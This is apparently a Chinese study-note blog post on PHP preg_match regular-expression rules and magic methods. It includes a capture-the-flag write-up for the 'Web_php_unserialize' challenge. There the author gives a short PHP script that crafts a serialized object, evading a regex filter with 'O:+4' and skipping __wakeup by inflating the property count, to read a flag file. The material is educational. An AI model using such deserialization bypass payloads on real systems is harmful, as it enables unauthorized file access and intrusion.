PHP正则表达式preg_match函数 | 魔术方法(php反序列)
2022/3/28
一、PHP
1.PHP正则表达式preg_match函数
利用 preg_match(),可以完成字符串的规则匹配。如果找到一个匹配,preg_match() 函数返回 1,否则返回 0。还有一个可选的第三参数可以让你把匹配的部分存在一个数组中。在验证数据时这个功能显得非常重要以及有用。
规则:
- 必须要有一对定界符: “/” “ /”
- [ ] :被用来限制许可输入类型。如:a-z允许所有小写字母,0-9允许所有数字
- { } :被用来限制期望的字符数。如:{2, 4} 表示字符串的每一节可以有2-4字符长度,像是 .com.cn 或 .info。在这里, "." 并不算一个字符,因为 {2,4} 之前定义的许可输入类型只有大小写字母,故此段只匹配大小写字母
- ( ) :被用来合并小结,并定义字符串中必须存在的字符。(a|b|c) 能够匹配 a 或 b 或 c
- (.) 将匹配所有字符,而 [.] 只匹配 "." 本身
要使用一些符号本身,必须在前增加一个 。这些字符有:( ) [ ] . * ? + ^ | $
模式分隔符后的"i"标记这是一个大小写不敏感的搜索
模式中的 \b 标记一个单词边界,所以只有独立的单词"web"会被匹配,而不会匹配
preg_match('/[oc]:\d+:/i', $var)
// preg_match()匹配的为o或c:任意长度数字(至少一个) i表示匹配时不区分大小写
2.魔术方法
https://www.twle.cn/c/yufei/phpmmethod/phpmmethod-basic-construct.html
- __construct:实例化对象的时候自动执行,new
- __destruct:对象被销毁时被自动调用,基本上是程序结束
- wakeup:当使用
unserialize()反序列化一个对象成功后,会自动调用该对象的__wakup()魔术方法。在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本存在wakeup的漏洞。当反序列化中object(对象)的个数和之前的个数不等时,wakeup就会被绕过。
Web_php_unserialize(攻防世界)
1.绕过函数
3.base64
4.绕过__wakeup
主要的运行打开文件的是__destruct
<?php
class Demo {
private $file = 'fl4g.php';
}
$x= serialize(new Demo);
$x=str_replace('O:4', 'O:+4',$x);//绕过preg_match()
$x=str_replace(':1:', ':3:',$x);//绕过__wakeup()
echo base64_encode($x);
?>
问题:不怎么了解php代码,所以为什么要写private ?

浙公网安备 33010602011771号